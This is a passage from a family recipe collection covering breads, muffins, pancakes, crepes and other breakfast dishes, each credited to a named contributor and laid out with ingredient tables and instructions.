Season: BBQ **Cooking:** 20 minutes Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cups		flour
2	tbls		poppy seeds
0.5	tsp		salt
0.25	tsp		baking soda
0.5	cup		butter
0.75	cup		sugar
2			eggs
0.75	cup		sour cream
1.5	tsp		vanilla
0.5	tsp		almond extract

Instructions:

Cream butter and sugar. Add eggs, then sour cream and extracts. Add dry ingredients and stir until just fluffy blended. Don't over beat.

Banana Bread

Bread

Recipe from: Gwen Powell

Bread

Easy Banana Bread

Serves: 2 loaves **Time-- Preparation:** 15 minutes **Temperature:** 350**Season:** Everyday **Cooking:** 45 minutes ~ Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1			cake mix (white, yellow or light)
6	large	over ripe	bananas
0.75	cup	chopped	walnuts
1	pinch		nutmeg
0.5	tsp		cinnamon
0			other spice as desired
3			eggs or what is required for cake mix
0.25	cup		oil or what is required for cake mix
1	cup		water or 1/2 of what is required for cake mix

Instructions:

Chop the nuts between fine and medium--a little smaller than peas.

Mash the banana with a potato masher or a fork. Not to the extent of being perfect.

Prepare cake mix as directed on the box with the exception of using only 1/2 the required water.

Add the nuts and mashed bananas to the cake mix.

Add the seasonings as desired.

Mix well by hand.

Pour equally into two 4 x 9 x 4 bread pans and set on cookies trays in a preheated oven.

Check in 45 minutes with a toothpick. It should come out without dough sticking to it but cake will be sticking to it.

Serve right away or cool and wrap in foil then a plastic bag. It may be frozen. Be sure to refrigerate any that is not eaten that day.

Banana Bread

Basic Bread Recipe

Bread

Recipe from: Gwen Powell

Breadmaker

Basic bread Recipe for the average breadmaker.

Serves: 1 loaf **Time-- Preparation:** 3 hours **Temperature:** 375

Season: Everyday **Cooking:** 45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	pkg		yeast
3	cups		bread flour
1	tsp		salt
1	tsp		sugar
1.5	cups		warm water
3	tbl		olive oil
1	tbl		whatever spices of goodies

Instructions:

Add all ingredients to breadmaker and set on manual, dough. Take out and shape as desired. Let rise and bake at 375 for about 45 minutes.

Gwen's Wheat Bread

Bread

Recipe from: Gwen Powell

Breadmaker

"Who ever said that man cannot live by bread alone never had a breadmaker!"

Serves: 1 small loaf **Time-- Preparation:** 5 min **Temperature:** light**Season:** Everyday **Cooking:** light Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		warm water plus 2 tablespoons
1.5	cup		bread flour
0.5	cup		wheat flour
0.5	tsp		salt
1	tbl		sugar
1	tbl		powdered milk
1.5	tsp		yeast

Instructions:

Put yeast in bottom corner of breadmaker first. Add all dry ingredients. Add warm water. Turn on and cook on light setting.

Sweet Bread with Walnut Filling

Bread

Recipe from: Gwen Powell

Breadmaker

Great with breakfast or to serve with tea and coffee.m

Serves: 2 small loaves **Time-- Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 40 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	warm	milk
0.25	cup	melted	butter
1	pkg		yeast
0.25	cup	warm	water
0.5	cup		sugar
3		beaten	eggs
0.25	tsp		salt (optional)
4	cups		flour
1		ground	walnuts
0.25	cup		sugar (brown or white)
0			enough milk to make paste

Instructions:

Add milk, butter, yeast, water, sugar, eggs, salt, and flour to breadmaker. Set breadmaker on the dough setting. When dough is complete, remove and divide into four. Roll out each with flour to prevent sticking. Smear mixture of walnuts and sugar paste over dough and place another rolled out dough on top. Roll and place in greased bread pan. Bake at 350 until golden brown.

Sweet Bread with Walnut Filling

Sesame Rolls or Bread

Bread

Recipe from: Gwen Powell

Breadmaker

Exciting sesame flavored rolls, great with dinner or breakfast.

Serves: 12 dozen **Time-- Preparation:** 0 **Temperature:** 350
Season: Everyday **Cooking:** 20 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		bread flour
2			eggs
1	tsp		sesame oil
0.5	tsp		salt
2	tbl		sugar
0.75	cup		warm water
1.5	tsp		yeast
1	tbl		sesame seeds

Instructions:

Add all dry ingredients but Sesame to the breadmaker. In a measuring cup, add eggs, oil and enough water to measure 3/4 cup. Add liquid to breadmaker. Set the breadmaker on dough. When dough is complete, form 12 balls or shape to desired keeping your hands covered with sesame oil and rolling the dough in sesame seeds as it is shaped. Bake at 350 until golden.

Herb Rolls or Bread

Bread

Recipe from: Gwen Powell

Breadmaker

Same as Sesame Rolls but with Herbs loan

Serves: 12 dozen **Time-- Preparation:** **Temperature:** 350
Season: Everyday **Cooking:** 20 Warm

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		bread flour
2			eggs
1	tsp		sesame oil
0.5	tsp		salt
2	tbl		sugar
0.75	cup		warm water
1.5	tsp		yeast
2	tbl	chopped	fresh herbs (rosemary, tarragon, sage)
1	clove	chopped	fresh garlic

Instructions:

Add all dry ingredients except herbs and garlic to the breadmaker. In a measuring cup, add eggs, oil and enough water to measure 3/4 cup. Add liquid to breadmaker. Set the breadmaker on dough.

Chop herbs and garlic very fine.

When dough is complete, form 12 balls or shape to desired keeping your hands covered with sesame oil and rolling the dough in herbs as it is shaped. Bake at 350 until golden.

Herb Rolls or Bread

Jewish Challah (Egg Bread)

Bread

Recipe from: Naomi Luby

Breakfast

An old family favorite from Grandmommy Luby (Essy)

Serves: 1 large loaf **Time-- Preparation:** 0 **Temperature:** 425
Season: Christmas **Cooking:** 25-30 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	pkg		dry yeast
1.5	cup	lukewarm	milk
0.25	cup		sugar
3	tsp		salt
3			eggs
0.25	cup	soft	butter
1	cup		raisins
7.5	cup		flour
1			egg yolk
2	tbl		water
0.5	cup	warm	water

Instructions:

Measure water into bowl and add yeast, stir to dissolve. Stir in milk, sugar, salt, eggs, butter, raisins and 3 1/2 cups of flour. Mix until smooth. Add enough remaining flour to handle easily mixing with hands. Turn dough onto lightly floured surface and knead until smooth and elastic. Allow to rise, punch down and separate into 3 equal parts. Form braids on greased baking sheet. Brush with soft butter, cover with damp cloth and let rise until double, about 40 to 50 minutes. Mix egg yolk and water, brush on top of loaf. bake at 425 for 25 to 30 minutes. Garnish with cherries and nuts and icing for the holidays.

Jewish Challah (Egg Bread)

Poppy Seed Cake (bread)

Bread

Recipe from: Linda Lokkart

Cake

Serves: 2 loaves**Time-- Preparation:** 10 min**Temperature:** 350**Season:** Everyday**Cooking:** 1 hour

Warm

QTY.	MEAS.	PREP.	INGREDIENTS
3			eggs
1.5	cup		oil
1.5	cup		milk
1.5	tsp		almond flavoring
1.5	tsp		vanilla
1.5	tsp		butter flavoring
2.5	cup		sugar
3	cup		flour
1.5	tbl		poppyseeds
1.5	tsp		baking powder
1	tsp		salt

Instructions:

Mix together eggs, oil, milk, almond flavoring, vanilla, butter flavoring and sugar. Mix together and add to other mixture the flour poppyseeds, baking powder and salt. Pour into two greased and floured bread pans. Bake for about 1 hour.

Poppy Seed Cake (bread)

Cranberry White Chocolate Teabread

Bread

Recipe from: Sue Paulding

Dessert

Sweet Holiday Cranberry Bread

Serves: 1 loaf **Time-- Preparation:** 10 min **Temperature:** 350
Season: Christmas **Cooking:** 60 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	chopped	fresh or frozen cranberries
2	tbl		granulated sugar
0.5	cup		granulated sugar
2	cups		all-purpose flour
2	tsp		baking powder
0.5	tsp		salt
0.75	cup		milk at room temp
0.33	cup		unsalted butter, melted and cooled
1	large	lightly beaten	egg
1.5	tsp		vanilla extract
6	oz	1/2 in. pieces	white chocolate
0.66	cup	broken	walnuts

Instructions:

Preheat oven.

Butter an 8.5x4.5x2.75 inch loaf pan.

In a small bowl, stir together cranberries and 2 tablespoons of the sugar. In a large bowl stir together flour, remaining .5 cup of sugar, baking powder, and salt. In another bowl stir together milk, butter, egg, and vanilla until blended.

Make a well in center of flour mixture; add milk mixture and stir just to combine. Stir in cranberry mixture, white chocolate, and walnuts, if desired.

Scrape batter into prepared pan and spread evenly. Bake for 60 to 70 minutes, or until a cake tester inserted in center of read comes out clean.

Remove pan to a wire rack. Cool for 10 minutes before removing bread from pan; finish cooling on rack. Store completely cooled bread in airtight container in refrigerator. Allow bread to reach room temperature before serving.

Fruitcake (Very Easy)

Bread

Recipe from: Gwen Powell

Dessert

This very easy fruitcake is also very tasty.

Serves: 1 bundt loaf **Time-- Preparation:** 10 min **Temperature:** 350**Season:** Holiday **Cooking:** 65 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2			eggs
2	cup		water
2	pkg		Pillsbury Date or Nutbread mix
2	cup		pecans
2	cup		raisens
2	cup		candied cherries
1	cup		candied pineapple

Instructions:

Grease and flour the bottom and sides of a 12 cup Bundt pan or 10 inch tube pan or muffin tins. In large bowl combine eggs and water, add remaining ingredients. Stir by hand until all ingredients are combined. Pour into pan and bake at 350 for 65 to 75 minutes. Cool for 30 minutes then loosen edges and remove from pan.

Fruitcake (Very Easy)

Banana Bread

Bread

Recipe from: Sue Paulding

Fruit

Serves: 2 loaves **Time-- Preparation:** 15 min **Temperature:** 350**Season:** Everyday **Cooking:** 45-90 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.75	cup		butter
1.5	cup		sugar
2			eggs
1.5	cup		mashed ripe banana
1	tsp		vanilla
1	tsp		baking soda
1	tsp		salt
0.5	cup		buttermilk
0.5	cup	chopped	nuts
3	cup		flour

Instructions:

Cream butter and sugar until fluffy. Beat in eggs one at a time. Beat in bananas and vanilla. Sift flour, soda, salt and add alternately with buttermilk to liquid. Fold in nuts. Turn into well greased loaf pans. Cook 1 1/2 hours but time at 45 minutes and toothpick test.

Cranberry-Orange Bread

Bread

Recipe from: Sue Paulding

Fruit

Great for the Holidays

Serves: 1 loaf **Time-- Preparation:** 15 min **Temperature:** 350**Season:** Christmas **Cooking:** until done Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		flour
1	cup		Quaker oats
0.75	cup		sugar
2	tsp		baking powder
0.5	tsp		soda
0.75	cup		orange juice
2			eggs
0.33	cup		oil
1	tbl	grated	orange peel
0.75	cup	chopped	cranberries

Instructions:

Mix all ingredients together and pour into large greased loaf pan. Cook until inserted toothpick comes out clean.

Prune Bread

Bread

Recipe from: Naomi Luby

Fruit

Only Grandma could think of this one.

Serves: **Time-- Preparation:** 30 min **Temperature:** 300
Season: Everyday **Cooking:** 60 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	boiling	water
2	cup	dried/pitted	prunes (coarsely chopped)
2	tsp		soda
2	tbl	melted	butter
1	cup	chopped	nuts
1.25	cup		sugar
1			egg
1	tsp		vanilla
4	cup		flour
2	tsp		baking powder
1	tsp		salt

Instructions:

Pour boiling water over prunes; add soda and let stand; mix butter, sugar and egg thoroughly; stir in vanilla. Sift flour and measure, sift again with baking powder and salt. Add to creamed mixture alternately with water from prunes. Stir in prunes and nuts. Spoon into 2 9 by 5 greased loaf pans. Bake in slow oven for 1 hour.

Prune Bread

Pear Bread

Bread

Recipe from: Sue Paulding

Fruit

Gopher Glen

Serves: 1 loaf **Time-- Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 35 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		sugar
2			eggs
0.5	cup		oil
2	cup		flour
1	tsp		baking soda
0.5	tsp		salt
0.25	cup		sour cream
			cinnamon
			nutmeg to taste
0.5	cup	chopped	pecans
1.5	cup	diced/peeled	pears

Instructions:

 Mix all together and pour into greased and floured loaf pan. Bake at 350 for about 35 minutes.
Pear Bread

Mango or Zapate Bread

Bread

Recipe from: Gwen Powell

Fruit

Exotic Fruit Bread

Serves: 2 loaves **Time-- Preparation:** 15 min **Temperature:** 350**Season:** Everyday **Cooking:** 1 hour Warm

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		flour (2.5 for Zapate bread)
2	tsp		cinnamon
2	tsp		baking soda
3	large		eggs
2.5	cup	chopped	mango or other soft fruit
0.5	cup		raisins
1	tsp		lemon juice
0.5	tsp		salt
1.25	cup		sugar
0.75	cup		oil
			(use margarine in place of oil, leave out salt)

Instructions:

Combine flour, cinnamon, salt, soda and sugar. Beat eggs with oil and add to flour mixture. Add mangoes (or other fruit) lemon juice and raisins. Turn into 2 greased 8 by 4 inch pans and bake at 350 for 1 hour or until a wood pick comes out clean.

Mango or Zapate Bread

Cranberry Nut Bread

Bread

Recipe from: Gwen Powell

Grains

Cranberry Bread from Carolyn Johnson loan

Serves: 1 loaf **Time-- Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 70 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		flour
1	cup		sugar
0.5	tsp.		salt
0.5	tsp.		baking powder
0.5	tsp.		soda
1		well beaten	egg
2	Tbsp.	melted	shortening
2	Tbsp.	hot	water
0.5	cup		orange juice
1	cup	chopped	nuts
1	cup	chopped	raw cranberries

Instructions:

Mix flour, sugar, salt, baking powder and soda. Then add beaten egg, shortening, and hot water and orange juice. Mix well. Bake 1 hour and 10 minutes at 350. Brush loaf with melted butter when removed from oven. Wrap and refrigerate or freeze.

Stonemill Bread

Bread

Recipe from: Linda Lokkart/Sue Paulding

Grains

Acceptable non-meat cannelloni.

Serves: 2 loaves **Time-- Preparation:** 3 hours **Temperature:** 375
Season: Everyday **Cooking:** 30 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	tbl		brown sugar or honey
1.5	pkg		dry yeast
0.25	cup		mild flavored honey
1	tsp		salt
0.33	cup		powdered milk
0.33	cup		oil
1			egg
3.5			whole wheat flour
2	cup		warm water

Instructions:

Mix 1/2 cup of the warm water, 1 tablespoon brown sugar or honey and yeast. Set aside in warm place. Mix 1 cup stirred whole wheat flour with 1 1/2 cups water in saucepan. Cook over medium heat until thick and smooth, stirring constantly. This mixture will be lumpy at first and will stick to pan, keep cooking until smooth. Combine flour mixture with 1/4 cup of mild flavored honey or 1/3 cup of brown sugar, 1 teaspoon salt, powdered milk, oil, egg and 1 cup whole wheat flour. Add each ingredient one at a time, stirring well after each addition. Add yeast mixture to flour. mixture; mix well. Add 2 1/2 cups whole wheat flour to preceding mixture. Mix well. The dough should almost be stiff enough to hold its shape. cover dough with towel and place in warm, non-drafty place for about 1 hour or double in bulk. Turn out onto floured board, knead 8 to 10 minutes, until smooth and elastic, using just enough flour to keep dough from sticking. Cover with towel and let rest 15 minutes. Knead bread a few more stokes, then let stand 15 minutes more. Divide in two. Roll and put loaves in 2 greased loaf pans. cover and let rise until fluffy. Bake at 375 for 30 to 35 minutes.

Susan Bread

Bread

Recipe from: Sue Paulding

Grains

Like Sue, very little instructions.

Serves: 2 loaves **Time-- Preparation:** 20 min **Temperature:** 350
Season: Everyday **Cooking:** until done Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		white flour
1	cup		wheat flour
1.5	cup		water
3	tbl		gluten
3.5	tbl		raw sugar
4	tbl		raw sunflower seeds
4	tbl		sesame seeds
4	tbl		poppy seeds
1.5	tbl		dry milk
1.5	tsp		yeast
0.5	tsp		salt
2	tbs		butter
4	tbl		oats

Instructions:

Mix all dry ingredients but oats together. Mix in oats. Mix in water. Pour into greased loaf pans. Bake until done at 350.

(This is the best I could figure from Sue's notes)

Whole Wheat Bread

Bread

Recipe from: Naomi Luby/Sue Paulding

Grains

Serves: 2 loaf**Time-- Preparation:** 0**Temperature:**

375

Season: Everyday**Cooking:** 40-50 min

Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	pkg		dry yeast
0.5	cup	warm	water
0.5	cup		brown sugar (packed)
1	tbl		salt
0.25	cup		shortening
2.25	cup	warm	water
6.5	cup		Whole Wheat Flour
1	cube		margarine

Instructions:

Dissolve yeast in .5 cup warm water. Stir in brown sugar, salt, shortening. Slowly add warm water and 3 1/3 cups flour. Beat until smooth. Mix in enough of the remaining flour to make dough easy to handle. Turn dough onto floured board and knead until smooth. About 10 minutes. Place in greased bowl; turn greased side up. cover and let rise until double, about 1 hour. Punch down, divide in half. Roll each into rectangle 18 by 9 inch. roll up beginning at short side. With side of board, press each end to seal. Fold ends under loaf. Place seam side down in greased loaf pan. (9x5x3) Cover and let rise about 1 hour. Bake for 40-45 minutes in oven preheated to 375. Brush with butter.

Whole Wheat Bread

Mike's Fabulous Focaccia

Bread

Recipe from: Mike Luby

Italian

Mike made this one up himself.

Serves: 1 loaf **Time-- Preparation:** 0 **Temperature:** 375
Season: Everyday **Cooking:** 30 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1.75	c	(sponge)	bread flour
1.25	oz	(sponge)	yeast
2.5	tbl	(sponge)	olive oil
0.75	c	(sponge)	hot water
1	tbl	(sponge)	olive oil for coating
1.75	c	(bread)	bread flour
		50-100%	of sponge
1.25	oz	(bread)	yeast
2	tsp	(bread)	sugar
1.25	tsp	(bread)	salt
0.75	c	(bread)	hot water
2.5	tbl	(bread)	olive oil
0.5	tsp	(bread)	sage
2	tbl	(bread)	chopped rosemary
		(bread)	garlic salt

Instructions:

Combine Sponge ingredients in bread mixer or machine and mix 5 minutes. Shape into ball and coat with olive oil. Put into airtight container at room temperature for 15 to 24 hours.

Combine bread ingredients in bread mixer or machine and mix 5 minutes. Shape into ball and place into oiled bowl, turning to coat entire surface. Cover with plastic wrap and let rise until doubled in bulk, about 40 minutes. Preheat oven to 375 degrees. Grease a baking sheet or heat a pizza stone. Punch down dough and let rest 5 minutes. Using a floured rolling pin, roll dough into a 1/2 inch thick sheet and place on baking sheet or paddle. Cover as before and let rise 15-30 minutes. Poke indentations over surface of dough with fingers. Drizzle with olive oil and garlic salt. Bake 30 minutes or until lightly browned on top and sides. Serve warm.

Bran Muffins

Bread

Recipe from: Sue Paulding

Muffin

Serves: 3 dozen **Time-- Preparation:** 10 min **Temperature:** 400**Season:** Everyday **Cooking:** 15-25 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		Buttermilk
0.5	cup		oil
2			eggs
3	cup		branflake cereal
2.5	cup		flour
1.5	cup		sugar
2.5	tsp		soda
1	tsp		salt
0.5	cup		chopped oats

Instructions:

In large bowl, combine first three ingredients, beat until well blended. Add remaining ingredients. Stir just until moist. Batter may be stored in refrigerator in tightly covered container for up to six weeks.

Preheat oven to 400. Grease desired number of muffin cups. Bake 15 to 25 minutes.

Bran Muffins

Apple Raisin Muffins

Bread

Recipe from: Sue Paulding

Muffin

Moist and easy to bake.

Serves: *Time--* **Preparation:** 0 **Temperature:** 400

Season: Everyday **Cooking:** 20 min **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		flour
0.33	cup		sugar
0.5	tsp		cinnamon
2		peeled/diced	apples
1	tsp		baking powder
1	tsp		baking soda
0.5	tsp		salt
1			egg
1.15	cup		buttermilk
0.25	cup		oil
0.25	cup		raisins

Instructions:

Preheat oven to 400. Combine dry ingredients. Combine egg, milk, oil, apples and raisins. Combine both mixes until moist. Pour into muffin pans. Bake for 20 minutes or until done.

Apple Raisin Muffins

Six Week Muffins

Bread

Recipe from: Sue Paulding

Muffin

Bran Muffins

Serves: 6 dozen **Time-- Preparation:** 0 **Temperature:** 375
Season: Everyday **Cooking:** 20 minutes Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	boiling	water
5	tsp		baking soda
1	cup		margaine
2	cup		sugar
4		beaten	eggs
5	cup		flour
1	tbl		salt
4	cup		All bran ceral
2	cup		40% bran flakes
1	quart		buttermilk
1	cup		dates/apricots or raisins (optional)

Instructions:

Mix boiling water and baking soda and let cool. Cream together margarine, sugar and eggs. Sift together flour and salt and then add all bran cereal, bran flakes and chopped dates (optional)Combine in large bowl, alternating liquids, flour and cereal. When well mixed, cover and refrigerate for up to 6 weeks. Use as needed. Bake at 375 for 20 minutes in muffin pans. May use dried apricots or raisins instead of dates or make plain.

Six Week Muffins

Apple Muffins

Bread

Recipe from: Sue Paulding

Muffin

From Erin Ford

Serves: 36 muffins **Time-- Preparation:** 10 min **Temperature:** 400

Season: Everyday **Cooking:** 20-25 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	large	peeled/chopped	Golden Delicious apples
0.5	cup		butter or margarine
1	cup	boiling	water
3	cup		whole bran cereal
2	cup		buttermilk
2		beaten	eggs
0.66	cup		sugar
1	cup	chopped	dates or raisins (optional)
2.5	cup		flour
2.5	tsp		baking soda
1	tsp		nutmeg
2	tsp		cinnamon
0.5	tsp		ground cloves
0.5	tsp		salt

Instructions:

Sauté apples in butter until tender. Pour boiling water over bran. Add apples, buttermilk, eggs, sugar and dates. Combine flour, soda, cinnamon, nutmeg, cloves and salt. Stir into bran mixture just until combined. Refrigerate in tightly covered container at least 24 hours. Use within 3 weeks. Fill greased muffin pans 3/4 full. Bake 400 degrees 20-25 minutes until pick comes out clean.

Apple Muffins

Zucchini BreadBread
Vegetable*Recipe from: Sue Paulding*

Very Easy

Serves: 2 loaves **Time-- Preparation:** 15 min **Temperature:** 325
Season: Everyday **Cooking:** 1 hour Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3			eggs
1	cup		oil
2.25	cup		sugar
1	tbl		vanilla
2	cup		grated zucchini
3	cup		flour
1	tsp		salt
1	tsp		soda
1	tbl		cinnamon
1	tbl		baking powder
1	cup	chopped	nuts

Instructions:

Mix all moist ingredients and sugar together. Mix in dry ingredients. Pour in greased and floured loaf pans. Bake one hour at 325.

German Apple Pancakes

Breakfast

Recipe from: Sue Paulding

A recipe from Erin Ford

Serves: 4 **Time-- Preparation:** 0 **Temperature:** 450-350
Season: Everyday **Cooking:** 25 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3	large		eggs
0.75	cup		milk
0.75	cup		flour
0.5	tsp		salt
1.5	tbl		butter
1	pound	tart	apples
0.25	cup	melted	butter
0.25	cup		sugar
			cinnamon
			nutmeg

Instructions:

Heat oven to 450. Beat eggs, milk, flour and salt until smooth. Melt 1 1/2 tablespoon butter in heavy 12 inch ovenproof skillet. As soon as very hot add pancake batter and put in oven. After 15 minutes lower to 350 for 10 minutes. Pancake should be slightly crisp and brown. If pancake puffs up during first 10-15 minutes pierce with fork. While pancake is cooking prepare filling. Peel and thinly slice apples. Sauté in butter and sugar. Season to taste with cinnamon and a dash of nutmeg. The apples should be tender but not too soft (about 8-10 minutes) Add 1/4 cup of chopped pecans. Apples can be prepared ahead of time and re-heated.

When pancake is ready, slide onto platter and top with apples on 1/2 and fold other side over. Sprinkle with powdered sugar. Great with sausage.

Blintz Batter

Breakfast

Recipe from: Sue Paulding

From "The Art of Jewish Cooking"

Serves: 18 crepes**Time-- Preparation:****Temperature:****Season:** Everyday**Cooking:**

Fry

QTY.	MEAS.	PREP.	INGREDIENTS
3			eggs
1	cup		milk or water
0.5	tsp		salt
2	tbl		salad oil
0.75	cup	sifted	flour
			butter or oil for frying

Instructions:

Beat the eggs, milk, salt and salad oil together. Stir in the flour.

Heat a little butter or oil in a 6 inch skillet. Pour about 2 tablespoons of the batter into it, tilting the pan to coat the bottom. Use just enough batter to make a very thin pancake. Let the bottom brown, then carefully turn out onto a napkin, browned side up. Make the rest of the pancakes.

Spread 1 heaping tablespoon of any of the fillings along one side of the pancake. Turn opposite sides in and roll up like a jelly roll.

You can fry the blintzes in butter or oil or bake them in 425 oven until browned. Makes about 18.

Serve dairy blintzes with sour cream.

Cheese Filling for Blintzes

Breakfast

Recipe from: Sue Paulding

From "The Art of Jewish Cooking"

Serves: 18 blintzes **Time-- Preparation:** **Temperature:**
Season: Everyday **Cooking:** Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	drained	cottage cheese
1			egg yolk
0.75	tsp		salt
1	tbl	melted	butter
2	tbl		sugar (optional)
1	tsp		lemon juice (optional)

Instructions:

Beat the cheese, egg yolk, salt and butter together. Add the sugar or lemon juice if you like-- some people like them sweet, some don't.

Waffles

Breakfast

Recipe from: Linda Lokkart/Sue Paulding

Serves: *Time--* **Preparation:** 0 **Temperature:** 0
Season: Everyday **Cooking:** 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2			egg yokes
2		stiffly beaten	egg whites
2	cup		milk
2	cup		flour
1	tbl		baking powder
0.5	tsp		salt
0.5	cup		oil

Instructions:

Combine all but egg whites and beat on low until moist. Increase speed to medium until smooth. Hand-fold in egg whites.

Preheat waffle maker, pour approx. 1 1/2 ladles full into grid. Cook until it stops steaming.

Waffles

Crepes

Breakfast

Recipe from: Gwen Powell

Basic Crepe Recipe with variations-Chocolate, Herb, Dessertm

Serves: 12 crepes **Time-- Preparation:** 0 **Temperature:** 0

Season: Everyday **Cooking:** 0

QTY.	MEAS.	PREP.	INGREDIENTS
4			eggs
1	cup		flour
0.5	cup		milk
0.5	cup		water
2	tbls	melted	butter

Instructions:

Measure all ingredients in to blender jar; blend for 30 seconds. Scrape down sides. Blend for 15 seconds more. Cover and let sit for 1 hour. (This helps the flour absorb more of the liquids.) Makes 12-14 crepes.

Blend all ingredients together until thickness of thick cream. (**If not thick/thin enough add a little more flour/milk.) Heat pan and spray with no stick, then pour 1 tablespoons of vegetable oil. Pour 1/4 cup batter in pan. Slosh around in pan until thin layer of batter. Flip when brown.

Recipe Variations:

For a Sweeter crepe:

Add 2 teaspoons sugar and 1 teaspoon vanilla.

For a Chocolate crepe:

Add 2 tablespoons chocolate sauce to sweet crepe recipe.

Selecting the right pan to use is important. Either use a stainless-steel or teflon pan. You should season the pan with butter before the first crepe, but afterwards there's enough butter in the batter. If the temperature is too hot the batter will splatter as it hits the pan and if the crepes will have an odd "doily" pattern. If the batter seems to thick, add 1 or 2 tbsp milk to the batter.

Use about 2-3 tbsp batter per crepe. Pour into the pan and immediately swirl the pan around so the batter coats the bottom. (Crepe size should be about 8 inches.) Cook for about 30-45 seconds, flip and cook for only about 10 more seconds.

Crepes

Scones (real Scottish ones)

Breakfast

Recipe from: Julie Luby

Straight from the kitchen of a Scottish Grandmother!

Serves: 4 **Time-- Preparation:** 10 minutes **Temperature:** at on range
Season: Everyday **Cooking:** 10 minutes Fry

QTY.	MEAS.	PREP.	INGREDIENTS
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Instructions:

<p>This recipe was brought with me all the way from Scotland. I haven't mastered it yet (I think you need to be Scottish and also a Grandmother to truly make these how they deserve to be made)</p>

<p>Ingredients:

6oz self-rising flour

1tsp (heaping) baking powder

1.5oz margarine

1.5oz sugar

1 egg

2% milk (enough to make a soft, not sticky, not stiff, dough)</p>

<p>Stir flour and baking powder together. Cut in margarine, then pinch dough with hands so that margarine is smooth throughout mixture. Make a hole in the middle of the dough. Beat egg in separate bowl until yolk breaks. Add egg to dough and work in with hands. Add milk and work in until soft dough forms. Roll out dough into about 1/2" thick circle, then cut into quarters. Heat griddle on range to medium heat. Put scone slices on griddle and heat each side until golden brown (this includes heating the top and bottom and all sides of the scone). Serve warm with margarine, honey or jam. Serves 4.</p>

Scones (real Scottish ones)

Whole Wheat Pancakes

Breakfast

Recipe from: Sue Paulding

Bread

Serves: 10 4 inch pancak **Time-- Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0 Fry

QTY.	MEAS.	PREP.	INGREDIENTS
1			egg
1	cup		buttermilk
2	tbl	melted	shortening or salad oil
0.75	cup		Whole wheat flour
1	tbl		sugar
1	tsp		baking powder
0.5	tsp		baking soda
0.5	tsp		salt

Instructions:

Beat egg; add remaining ingredients in order listed and beat with rotary beater until smooth. Grease heated griddle if necessary. To test griddle, sprinkle with a few drops of water. If bubbles skitter around, heat is just right. Pour batter from tip of large spoon or from pitcher onto hot griddle. Turn pancakes as soon as they are puffed and edges begin to dry slightly. Bake other side until golden brown.

Whole Wheat Pancakes

Fancy Egg Scramble

Breakfast

Recipe from: Sue Paulding

Eggs

Serves: 10 **Time-- Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 30 min Fry

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	diced	canadian bacon
0.25	cup	chopped	green onion
7	tbl		butter or margaine
12		beaten	eggs
1	3 oz	can	mushrooms (drained/sliced)
2.5	cup	soft	bread crumbs
0.15	tsp		paprika
2	tbl	(sauce)	butter
0.5	tsp	(sauce)	salt
0.15	tsp	(sauce)	pepper
2	cup	(sauce)	milk
1	cup	(sauce)	cheddar cheese (shredded)

Instructions:

In large skillet cook bacon, onion in 3 tbl butter until onion is tender but not brown. Add eggs and scramble just until set. Fold mushrooms and cooked eggs into cheese sauce. Turn into a 12 x 7 x 2 baking dish. combine remaining melted butter, crumbs, paprika--sprinkle on top of eggs. cover and chill 30 minutes or overnight before baking. Bake in 350 degree oven for 30 minutes

Cheese sauce: Melt butter, add salt and pepper, add milk and cook and stir until bubbly. Stir in shredded cheddar until melted.

Variations: use ham, green chilies or salsa.

Fancy Egg Scramble

Stuffed French Toast

Breakfast

Recipe from: Gwen Powell

Eggs

Inspired by a B&B in Cambria.

Serves: as many as you like | **Time-- Preparation:** 20 min | **Temperature:** 350

Season: Everyday | **Cooking:** 35-45 min | Warm

QTY.	MEAS.	PREP.	INGREDIENTS
2	slice	per person	Bread or cinnamon rolls
1		per person	egg
			salt to taste
			cinnamon to taste
0.25	cup	per person	milk

Instructions:

Scramble eggs, milk, salt and cinnamon in a medium mixing bowl.

Cut or tear up bread and lay in bottom of baking pan. Drop spoonfuls of cream cheese evenly around bread. Pour a thin layer of egg mixture over entire layer. Add more bread and finish with enough egg mixture to just about cover all the bread.

Let soak well, overnight is fine but at least 15 minutes.

Bake at 350 until fluffy and eggs fully

cooked.

Serve with butter and powdered sugar or with maple syrup.

Shortcake Muffins with Fruit

Breakfast

Recipe from: Gwen Powell

Fruit

Breakfast that passes as dessert.

Serves: 8 **Time-- Preparation:** 15 min **Temperature:** 450
Season: Everyday **Cooking:** 12-15 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1.75	cup		flour
2	tbl		sugar
1	tsp		baking powder
0.5	tsp	grated	orange peel
3	tbl		butter or margarine
0.75	cup		skim milk
